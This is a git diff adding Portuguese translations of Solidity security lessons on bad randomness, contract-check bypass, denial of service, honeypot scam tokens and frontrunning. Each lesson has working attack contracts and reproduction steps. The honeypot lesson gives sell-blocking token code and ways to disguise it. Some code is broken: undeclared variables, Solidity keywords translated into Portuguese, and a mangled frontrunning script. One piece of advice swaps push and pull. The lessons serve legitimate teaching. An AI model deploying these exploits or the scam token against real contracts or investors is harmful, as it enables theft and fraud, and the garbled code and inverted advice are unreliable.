outros. No entanto, devido à transparência e determinismo dos dados na Ethereum, não existe um método para gerar números aleatórios como na maioria das outras linguagens de programação, como `random()`. Portanto, muitos projetos acabam utilizando métodos de geração de números pseudorandômicos na blockchain, como `blockhash()` e `keccak256()`. + +Vulnerabilidade de Má Sorteio: Hackers podem calcular previamente os resultados desses números pseudorandômicos e manipulá-los conforme desejarem, como criar NFTs raros específicos em vez de sortear aleatoriamente. Para saber mais, consulte [WTF Solidity guia introdutório aula 39: Números Pseudorandômicos](./39_Random). + +## Exemplo de Má Sorteio + +Abaixo, vamos analisar um contrato de NFT com a vulnerabilidade de Má Sorteio: BadRandomness.sol. + +```solidity +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Construtor, inicializa o nome e o símbolo da coleção de NFTs + constructor() ERC721("", ""){} + + // Função de cunhagem: um NFT só é cunhado se o luckyNumber for igual ao número aleatório + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // cunhar + totalSupply++; + } +} +``` + +Este contrato possui a função principal `luckyMint()`, onde o usuário deve inserir um número de `0-99`, que, se coincidir com o número pseudorandômico gerado na blockchain, permite cunhar um NFT da sorte. A vulnerabilidade está no fato de que o usuário pode prever com precisão o número aleatório gerado e cunhar o NFT desejado. + +Agora, vamos criar um contrato de ataque `Attack.sol`. + +```solidity +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Calcular previamente o número aleatório + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Realizar o ataque usando o luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} +``` + +A função de ataque `attackMint()` recebe o endereço do contrato `BadRandomness` como parâmetro. Nela, calculamos o número aleatório `luckyNumber` e o passamos como argumento para a função `luckyMint()` para realizar o ataque. Como `attackMint()` e `luckyMint()` são chamados no mesmo bloco, o `blockhash()` e o `block.timestamp` são os mesmos, gerando o mesmo número aleatório. + +## Reprodução no Remix + +Como o Remix com Remix VM não suporta a função `blockhash()`, é necessário implantar os contratos na testnet Ethereum para reproduzir o ataque. + +1. Implantar o contrato `BadRandomness`. + +2. Implantar o contrato `Attack`. + +3. Passar o endereço do contrato `BadRandomness` como parâmetro para a função `attackMint()` do contrato `Attack` e executar o ataque. + +4. Usar a função `balanceOf` do contrato `BadRandomness` para verificar o saldo de NFTs do contrato de ataque e confirmar o sucesso do ataque. + +## Métodos de Prevenção + +Normalmente, utilizamos números aleatórios gerados fora da blockchain por meio de projetos de oráculos, como o Chainlink VRF, para prevenir esse tipo de vulnerabilidade. Esses números aleatórios são gerados fora da blockchain e depois enviados para a mesma, garantindo que sejam imprevisíveis. Para saber mais, consulte [WTF Solidity guia introdutório aula 39: Números Pseudorandômicos](./39_Random). + +## Conclusão + +Nesta aula, abordamos a vulnerabilidade de Má Sorteio em contratos inteligentes e apresentamos um método simples de prevenção: utilizar números aleatórios gerados fora da blockchain por meio de projetos de oráculos. Projetos de NFT e GameFi devem evitar o uso de números pseudorandômicos na blockchain para sorteios, a fim de evitar possíveis ataques de hackers. + diff --git a/Languages/pt-br/S08_ContractCheck/ContractCheck.sol b/Languages/pt-br/S08_ContractCheck/ContractCheck.sol new file mode 100644 index 000000000..ec43b29fb --- /dev/null +++ b/Languages/pt-br/S08_ContractCheck/ContractCheck.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +// Verificando se é um endereço de contrato usando extcodesize +contract ContractCheck is ERC20 { + // Construtor: inicializa o nome e o código do token + constructor() ERC20("", "") {} + + // Utilizando extcodesize para verificar se é um contrato + function isContract(address account) public view returns (bool) { + // extcodesize > 0 的地址一定是合约地址 + // Mas o contrato tem extcodesize igual a 0 no construtor + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // função mint, só pode ser chamada por endereços não contratuais (tem uma vulnerabilidade) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} + +// Usando as características do construtor para atacar +contract NotContract { + bool public isContract; + address public contractCheck; + + // Quando o contrato está sendo criado, o extcodesize (tamanho do código) é 0, portanto não será detectado pelo isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // Isso vai funcionar + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // Após a criação do contrato, se extcodesize > 0, isContract() pode ser usado para verificar + function mint() external { + ContractCheck(contractCheck).mint(); + } +} diff --git a/Languages/pt-br/S08_ContractCheck/img/S08-1.png b/Languages/pt-br/S08_ContractCheck/img/S08-1.png new file mode 100644 index 000000000..75e8ef5ad Binary files /dev/null and b/Languages/pt-br/S08_ContractCheck/img/S08-1.png differ diff --git a/Languages/pt-br/S08_ContractCheck/readme.md b/Languages/pt-br/S08_ContractCheck/readme.md new file mode 100644 index 000000000..08a8bf50d --- /dev/null +++ b/Languages/pt-br/S08_ContractCheck/readme.md @@ -0,0 +1,111 @@ +# Segurança do Contrato Solidity: S08. Bypass da Verificação do Contrato + +Recentemente, tenho revisado meus conhecimentos em Solidity, reforçando os detalhes e escrevendo um "Guia Simplificado do WTF Solidity" para iniciantes (os programadores experientes podem buscar outros tutoriais). Atualizarei o guia com 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre como contornar a verificação do comprimento do contrato e apresentar métodos de prevenção. + +## Bypass da Verificação do Contrato + +Muitos projetos freemint utilizam a função `isContract()` para limitar a chamada do `msg.sender` a apenas contas externas (EOA), e não a contratos. Essa função usa o método `extcodesize` para obter o comprimento do `bytecode` armazenado no endereço (em tempo de execução). Se esse comprimento for maior do que zero, é considerado um contrato; caso contrário, é uma conta EOA (usuário). + +```solidity + // Verifica se é um contrato usando extcodesize + function isContract(address account) public view returns (bool) { + // Um endereço com extcodesize > 0 é considerado um contrato + // Porém, durante a chamada do construtor do contrato, extcodesize é 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +``` + +No entanto, há uma vulnerabilidade: quando um contrato está sendo criado, o `bytecode` de tempo de execução ainda não foi armazenado no endereço, portanto o comprimento do `bytecode` é 0. Isso significa que se colocarmos a lógica no construtor do contrato, podemos contornar a verificação do `isContract()`. + +## Exemplo de Vulnerabilidade + +Aqui está um exemplo: o contrato `ContractCheck` é um contrato ERC20 freemint, e a função de mintagem `mint()` utiliza a função `isContract()` para impedir chamadas de contrato a fim de evitar a mintagem em massa por programadores. Cada chamada do `mint()` pode criar 100 tokens. + +```solidity +// Verifica se é um contrato usando extcodesize +contract ContractCheck is ERC20 { + // Construtor: inicializa o nome e o símbolo do token + constructor() ERC20("", "") {} + + // Verifica se é um contrato usando extcodesize + function isContract(address account) public view returns (bool) { + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // Função de mintagem, apenas chamadas de contas não-contratuais são permitidas (com vulnerabilidade) + function mint() public { + require(!isContract(msg.sender), "Contrato não permitido!"); + _mint(msg.sender, 100); + } +} +``` + +Vamos criar um contrato de ataque que chama repetidamente a função `mint()` do contrato `ContractCheck` no construtor, realizando a mintagem de 1000 tokens em massa: + +```solidity +// Ataque aproveitando as características do construtor +contract NotContract { + bool public isContract; + address public contractCheck; + + // Quando o contrato está sendo criado, extcodesize (comprimento do código) é 0, então não será detectado por isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // Isso funcionará + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // Após a criação do contrato, extcodesize > 0, isContract() consegue detectar + function mint() external { + ContractCheck(contractCheck).mint(); + } +} +``` + +Se nossa hipótese estiver correta, chamadas da função `mint()` no construtor podem contornar a verificação do `isContract()` e realizar a mintagem com sucesso, e o estado da variável `isContract` será definido como `false`. Após a criação do contrato, quando o `runtime bytecode` já estiver armazenado, o `extcodesize > 0` e o `isContract()` serão capazes de evitar a mintagem, resultando em falha ao chamar a função `mint()`. + +## Reprodução no Remix + +1. Deploy do contrato `ContractCheck`. + +2. Deploy do contrato `NotContract`, passando o endereço do contrato `ContractCheck` como parâmetro. + +3. Use a função `balanceOf` do contrato `ContractCheck` para verificar o saldo de tokens do contrato `NotContract` como `1000`, indicando um ataque bem-sucedido. + +4. Chame a função `mint()` do contrato `NotContract`; como o contrato já foi criado, a chamada da função `mint()` irá falhar. + +## Medidas Preventivas + +Você pode usar `(tx.origin == msg.sender)` para verificar se o chamador é um contrato. Se o chamador for uma EOA, `tx.origin` e `msg.sender` serão iguais; se forem diferentes, o chamador será um contrato. + +```solidity +function realContract(address account) public view returns (bool) { + return (tx.origin == msg.sender); +} +``` + +## Conclusão + +Nesta lição, discutimos como é possível contornar a verificação do comprimento do contrato e apresentamos métodos preventivos. Se o comprimento do `extcodesize` de um endereço for maior que zero, é um contrato; mas se for zero, o endereço pode ser tanto uma EOA quanto um contrato em processo de criação. + diff --git a/Languages/pt-br/S09_DoS/DoS.sol b/Languages/pt-br/S09_DoS/DoS.sol new file mode 100644 index 000000000..8becd5e11 --- /dev/null +++ b/Languages/pt-br/S09_DoS/DoS.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Jogo com vulnerabilidade de DoS, os jogadores depositam dinheiro primeiro e, após o término do jogo, chamam a função deposit para retirar o dinheiro. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // Todos os jogadores depositam ETH no contrato + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Registrar depósito + balanceOf[msg.sender] = msg.value; + // Registrar endereço do jogador + players.push(msg.sender); + } + + // O jogo acabou, o reembolso começou e todos os jogadores receberão o reembolso em sequência. + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Através de um loop, reembolsar todos os jogadores + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} + +contract Attack { + // Ao solicitar um reembolso, ocorre um ataque de negação de serviço (DoS) + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participar do jogo DoS e fazer um depósito. + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} \ No newline at end of file diff --git a/Languages/pt-br/S09_DoS/img/S09-1.png b/Languages/pt-br/S09_DoS/img/S09-1.png new file mode 100644 index 000000000..de62818ab Binary files /dev/null and b/Languages/pt-br/S09_DoS/img/S09-1.png differ diff --git a/Languages/pt-br/S09_DoS/img/S09-2.png b/Languages/pt-br/S09_DoS/img/S09-2.png new file mode 100644 index 000000000..2e207d274 Binary files /dev/null and b/Languages/pt-br/S09_DoS/img/S09-2.png differ diff --git a/Languages/pt-br/S09_DoS/img/S09-3.jpg b/Languages/pt-br/S09_DoS/img/S09-3.jpg new file mode 100644 index 000000000..176c41441 Binary files /dev/null and b/Languages/pt-br/S09_DoS/img/S09-3.jpg differ diff --git a/Languages/pt-br/S09_DoS/img/S09-4.jpg b/Languages/pt-br/S09_DoS/img/S09-4.jpg new file mode 100644 index 000000000..234387fff Binary files /dev/null and b/Languages/pt-br/S09_DoS/img/S09-4.jpg differ diff --git a/Languages/pt-br/S09_DoS/img/S09-5.jpg b/Languages/pt-br/S09_DoS/img/S09-5.jpg new file mode 100644 index 000000000..39f70bc7b Binary files /dev/null and b/Languages/pt-br/S09_DoS/img/S09-5.jpg differ diff --git a/Languages/pt-br/S09_DoS/readme.md b/Languages/pt-br/S09_DoS/readme.md new file mode 100644 index 000000000..fea541860 --- /dev/null +++ b/Languages/pt-br/S09_DoS/readme.md @@ -0,0 +1,127 @@ +--- +title: S09. Negando Serviço +tags: + - solidity + - segurança + - fallback +--- + +# Segurança de Contratos Inteligentes, WTF Solidity: S09. Negando Serviço + +Recentemente, eu tenho revisado meus conhecimentos em solidity para consolidar detalhes sobre a linguagem e criar um guia "WTF Solidity: Introdução Básica" para pessoas iniciantes (esse guia não é para pessoas que já são especialistas em programação). Serão lançadas de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Todo o código e os tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos discutir a vulnerabilidade de negação de serviço (DoS) em contratos inteligentes e abordar maneiras de evitar esse tipo de problema. O projeto de NFTs Akutar perdeu 11.539 ETH, o que correspondia a aproximadamente 34 milhões de dólares na época, devido a um bug de DoS. + +## DoS + +No contexto da Web 2.0, um ataque de negação de serviço (DoS) ocorre quando um servidor é interrompido e não consegue fornecer serviços aos usuários legítimos devido ao envio de grande volume de lixo de informações ou interferências de informações pelo atacante. No Web3, uma DoS em contrato inteligente ocorre quando uma vulnerabilidade é explorada de forma que o contrato não consiga funcionar corretamente. + +Em abril de 2022, um projeto de NFT chamado Akutar utilizou um leilão holandês para distribuição de tokens e arrecadou 11.539,5 ETH, tornando-se um grande sucesso. Anteriormente, os participantes da comunidade que possuíam o "Pass" desse projeto deveriam receber 0,5 ETH de reembolso. No entanto, quando eles tentaram processar os reembolsos, descobriram que o contrato inteligente tinha um bug de negação de serviço e todos os fundos ficaram presos. O contrato do Akutar tinha uma vulnerabilidade de DoS. + +![](./img/S09-1.png) + +## Exemplo de Vulnerabilidade + +Abaixo, vamos examinar um contrato chamado `DoSGame` que representa uma versão simplificada do contrato do Akutar. A lógica desse contrato é bastante simples: quando o jogo começa, os jogadores fazem chamadas à função `deposit()` para depositar seus tokens ETH e o contrato registra seus endereços e saldos correspondentes. Quando o jogo termina, a função `refund()` é chamada para reembolsar os jogadores com seus ETH. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Jogo com vulnerabilidade de DoS - os jogadores fazem depósitos e, quando o jogo termina, recebem seus reembolsos +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // Todos os jogadores fazem depósitos no contrato + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Registra o saldo do jogador + balanceOf[msg.sender] = msg.value; + // Registra os endereços dos jogadores + players.push(msg.sender); + } + + // O jogo termina, os reembolsos começam a ser processados sequencialmente + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Reembolsa todos os jogadores em um loop + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +O bug nesse contrato está na função `refund()`. Quando os reembolsos são processados sequencialmente em um loop e a função `call` é utilizada para transferir os ETHs de volta para os jogadores, isso permite que um endereço malicioso execute algum código mal-intencionado em seu contrato durante esse processo. + +``` +(bool success, ) = player.call{value: refundETH}(""); +``` + +Em seguida, escrevemos um contrato de ataque em que a função `attack()` permite que o endereço malicioso faça um depósito e participe do jogo. A função `fallback()` é uma função de retorno que rejeita todas as transações enviadas para o contrato, atacando a vulnerabilidade de DoS do contrato `DoSGame`. Isso ocorre porque a sequência de reembolsos não pode ser executada corretamente e os fundos ficarão presos no contrato, assim como os mais de 10.000 ETHs no contrato Akutar. + +```solidity +contract Attack { + // Ataque DoS quando os reembolsos são processados + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participa do jogo DoS e faz um depósito + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} +``` + +## Reprodução no Remix + +**1.** Implante o contrato `DoSGame`. +**2.** Chame a função `deposit()` do contrato `DoSGame` para depositar e participar do jogo. +![](./img/S09-2.png) +**3.** Neste ponto, se você chamar a função `refund()` do contrato `DoSGame`, você receberá um reembolso normalmente. +![](./img/S09-3.jpg) +**4.** Implante novamente o contrato `DoSGame` e implante o contrato `Attack`. +**5.** Chame a função `attack()` do contrato `Attack` para fazer um depósito e participar do jogo. +![](./img/S09-4.jpg) +**6.** Chame a função `refund()` do contrato `DoSGame` para receber um reembolso e descubra que a transação não é bem sucedida, pois o ataque teve êxito. +![](./img/S09-5.jpg) + +## Medidas Preventivas + +Vários erros lógicos podem levar a um DoS em um contrato inteligente, portanto, os desenvolvedores devem ter muito cuidado ao escrever contratos. Abaixo estão algumas áreas que requerem especial atenção: + +1. Falhas na chamada de funções de contratos externos (por exemplo, `call`) não devem bloquear recursos importantes. Por exemplo, é possível remover a linha `require(success, "Refund Fail!");` do contrato que possui a falha para que o reembolso se prossiga mesmo se uma única transação falhar. +2. O contrato não deve se auto-destruir inesperadamente. +3. O contrato não deve entrar em loops infinitos. +4. Os parâmetros das funções `require` e `assert` devem ser definidos corretamente. +5. No processo de reembolso, é recomendável permitir que os usuários retirem os fundos por conta própria (push), em vez de realizar um envio em massa de fundos (pull). +6. Verifique se as funções de retorno (fallback) não afetam o funcionamento normal do contrato. +7. Certifique-se de que as principais funcionalidades do contrato ainda possam ser executadas mesmo que o envolvimento dos participantes (como o `owner`) nunca aconteça. + +## Conclusão + +Nesta lição, falamos sobre a vulnerabilidade de negação de serviço em contratos inteligentes. O projeto Akutar perdeu mais de 10.000 ETHs devido a essa vulnerabilidade. Vários erros lógicos podem levar a DoS, então os desenvolvedores precisam ter muito cuidado ao escrever contratos inteligentes, como permitir que os usuários cliem os seus próprios reembolsos ao invés de realizar um envio em massa de fundos para eles. + diff --git a/Languages/pt-br/S10_Honeypot/Honeypot.sol b/Languages/pt-br/S10_Honeypot/Honeypot.sol new file mode 100644 index 000000000..374a184dc --- /dev/null +++ b/Languages/pt-br/S10_Honeypot/Honeypot.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Token ERC20 de Pixiu extremamente simples, apenas para compra, não é possível vender. +contract HoneyPot is ERC20, Ownable { + address public pair; + // Construtor: inicializa o nome e o código do token + constructor() ERC20("HoneyPot", "Pi Xiu") Ownable(msg.sender){ + // goerli uniswap v2 factory + // Endereço do token Pixiu + // goerli WETH + //Ordenar tokenA e tokenB em ordem crescente + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calcular endereço do par + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Função de construção, apenas o proprietário do contrato pode chamar + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev Veja {ERC20-_update}. + * Função Pixiu: apenas o proprietário do contrato pode vender + */ + function _update( + address from, + address to, + uint256 amount + ) internal virtual override { + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + super._update(from, to, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/S10_Honeypot/img/S10-1.png b/Languages/pt-br/S10_Honeypot/img/S10-1.png new file mode 100644 index 000000000..f78eae22a Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-1.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-2.png b/Languages/pt-br/S10_Honeypot/img/S10-2.png new file mode 100644 index 000000000..b85e24260 Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-2.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-3.png b/Languages/pt-br/S10_Honeypot/img/S10-3.png new file mode 100644 index 000000000..553d28ce6 Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-3.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-4.png b/Languages/pt-br/S10_Honeypot/img/S10-4.png new file mode 100644 index 000000000..a92584f40 Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-4.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-5.png b/Languages/pt-br/S10_Honeypot/img/S10-5.png new file mode 100644 index 000000000..556a31e2a Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-5.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-6.png b/Languages/pt-br/S10_Honeypot/img/S10-6.png new file mode 100644 index 000000000..07daf3882 Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-6.png differ diff --git a/Languages/pt-br/S10_Honeypot/img/S10-7.png b/Languages/pt-br/S10_Honeypot/img/S10-7.png new file mode 100644 index 000000000..a46a31b4a Binary files /dev/null and b/Languages/pt-br/S10_Honeypot/img/S10-7.png differ diff --git a/Languages/pt-br/S10_Honeypot/readme.md b/Languages/pt-br/S10_Honeypot/readme.md new file mode 100644 index 000000000..30cbfdcb4 --- /dev/null +++ b/Languages/pt-br/S10_Honeypot/readme.md @@ -0,0 +1,120 @@ +# S10. Pixiu + +Eu recentemente tenho estado revisando sólidos, consolidando detalhes, e escrevendo um "Guia Simplificado de Solidity" para iniciantes (programadores avançados podem procurar outros tutoriais), com atualizações semanais de 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre contratos Pixiu e métodos de prevenção (também conhecidos como tokens de armadilha honeypot). + +## Introdução ao Pixiu + +[Pixiu](https://en.wikipedia.org/wiki/Pixiu) é uma criatura mítica chinesa conhecida por sua capacidade de atrair riqueza. Porém, no mundo da Web3, Pixiu é visto como uma criatura maléfica, um inimigo dos investidores ingênuos. Um contrato Pixiu possui a característica de permitir apenas a compra de tokens, sem a possibilidade de venda pelos investidores, sendo restrita apenas ao endereço do projeto. + +Normalmente, um contrato Pixiu segue o ciclo de vida a seguir: + +1. O projeto malicioso implanta o contrato de token Pixiu. +2. O token Pixiu é divulgado para atrair investidores, uma vez que só é possível comprar e não vender os tokens, o preço dos tokens aumenta constantemente. +3. O projeto realiza um "rug pull", sacando todo o dinheiro investido. + +![](./img/S10-1.png) + +Compreender os princípios por trás dos contratos Pixiu é essencial para identificá-los e evitar ser vítima deles. + +## Contrato Pixiu + +Aqui, apresentamos um contrato ERC20 Pixiu token extremamente simples. Neste contrato, apenas o proprietário pode vender os tokens no Uniswap, outros endereços não conseguem realizar essa operação. + +O contrato Pixiu tem uma variável de estado `pair` que registra o endereço do par de tokens `Pixiu-ETH LP` no Uniswap. Ele possui três funções principais: + +1. Construtor: Inicializa o nome e o símbolo do token e calcula o endereço do contrato LP com base nos princípios do Uniswap e do create2. Este endereço será usado na função `_update()`. +2. `mint()`: Função de criação de tokens, que só pode ser chamada pelo proprietário e é utilizada para criar tokens Pixiu. +3. `_update()`: Função chamada antes de uma transferência de token ERC20. Nela, limitamos a transferência de tokens para o endereço `LP`, ou seja, durante a venda dos tokens, a transação é revertida; apenas o chamador é o `owner`. Este é o ponto central do contrato Pixiu. + +```solidity +// Contrato simples Pixiu ERC20, apenas compra, sem venda +contrato HoneyPot é ERC20, Ownable { + address público par; + + // Construtor: inicializa o nome e o símbolo do token + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // endereço do token Pixiu + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //ordenar os tokens A e B + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calcular o endereço do par + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Função de criação de tokens, apenas o proprietário pode chamar + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev Ver {ERC20-_update}. + * Função Pixiu: apenas o proprietário pode vender + */ + function _update( + address from, + address to, + uint256 amount + ) internal virtual override { + if(to == pair){ + require(from == owner(), "Não é possível transferir"); + } + super._update(from, to, amount); + } +} +``` + +## Reprodução no `Remix` + +Vamos implantar o contrato Pixiu na rede de testes `Goerli` e demonstrar sua funcionalidade na exchange Uniswap. + +1. Implantar o contrato Pixiu. +2. Chamar a função `mint()` para criar `100000` tokens Pixiu para si mesmo. +3. Acessar o [Uniswap](https://app.uniswap.org/#/add/v2/ETH) e fornecer liquidez para o token Pixiu (v2), inserindo `10000` tokens Pixiu e `0.1` ETH. +4. Vender `100` tokens Pixiu, a operação é bem-sucedida. +5. Troque para outra conta, compre 0,01 ETH em tokens Pixiu, a operação é bem-sucedida. +6. Tentar vender os tokens Pixiu sem sucesso. + +## Possíveis Disfarces + +Para evitar a detecção de contratos Pixiu, algumas medidas de disfarce podem ser tomadas: + +1. Por exemplo, para as transferências de usuários não privilegiados, o contrato não reverte a transação, apenas mantém o estado inalterado, aparentando que a transação foi bem-sucedida, quando na verdade não atendeu ao objetivo real do usuário. + +2. Emitir eventos de erro falsos, por meio de eventos fraudulentos, a fim de desorientar as carteiras e navegadores que estão monitorando, levando a interpretações erradas pelos usuários. + +## Métodos de Prevenção + +Os tokens Pixiu são uma das fraudes mais comuns que os investidores enfrentam no mundo cripto, apresentando diversas formas. Para minimizar o risco de ser vítima de um contrato Pixiu, aqui estão algumas sugestões: + +1. Verificar se o contrato é de código aberto em um explorador de blockchain (por exemplo, [etherscan](https://etherscan.io/)), e se é, analisar o código em busca de vulnerabilidades. + +2. Caso não tenha habilidades de programação, utilizar ferramentas de identificação de contratos Pixiu, como [Token Sniffer](https://tokensniffer.com/) e [Ave Check](https://ave.ai/check), contratos de baixa qualidade provavelmente são Pixiu. + +3. Verificar se existe um relatório de auditoria do projeto. + +4. Analisar cuidadosamente o site e as redes sociais do projeto. + +5. Invista apenas em projetos que você conheça bem, faça sua própria pesquisa (DYOR). + +## Conclusão + +Nesta lição, abordamos contratos Pixiu e métodos para evitar cair em armadilhas Pixiu. Os contratos Pixiu são uma das adversidades mais comuns que investidores enfrentam no mundo cripto, sendo bastante odiados. Recentemente, também surgiram Pixiu NFTs, onde projetos maliciosos alteram as funções de transferência ou autorização do ERC721 para impedir que os investidores vendam. Compreender os princípios dos contratos Pixiu e as medidas de prevenção pode reduzir significativamente a probabilidade de adquirir um contrato Pixiu, tornando seus fundos mais seguros. Mantenha-se sempre aprendendo. + diff --git a/Languages/pt-br/S11_Frontrun/Frontrun.sol b/Languages/pt-br/S11_Frontrun/Frontrun.sol new file mode 100644 index 000000000..26ea72c66 --- /dev/null +++ b/Languages/pt-br/S11_Frontrun/Frontrun.sol @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// Nós estamos tentando frontrun uma transação de mint grátis. +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Construtor, inicializa o nome e o código da coleção NFT + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Função de construção + function mint() external { + // mint + totalSupply++; + } +} \ No newline at end of file diff --git a/Languages/pt-br/S11_Frontrun/frontrun.js b/Languages/pt-br/S11_Frontrun/frontrun.js new file mode 100644 index 000000000..588600f96 --- /dev/null +++ b/Languages/pt-br/S11_Frontrun/frontrun.js @@ -0,0 +1,73 @@ +// provider.on("pendente", ouvinte) +import { ethers, utils } from "ethers"; + +// 1. Criar provedor +//127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork() +console.log(`[${(new Date).toLocaleTimeString()}] Conectado ao ID da cadeia ${res.chainId}`) + +// 2. Criar objeto de interface para decodificar os detalhes da transação. +const iface = new utils.Interface([ + "function mint() external", +]) + +// 3. Criar uma carteira para enviar transações de corrida +const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a' +const wallet = new ethers.Wallet(privateKey, provider) + +const main = async () => { + // 4. Ouvir transações de mint pendentes, obter detalhes da transação e, em seguida, decodificar. + 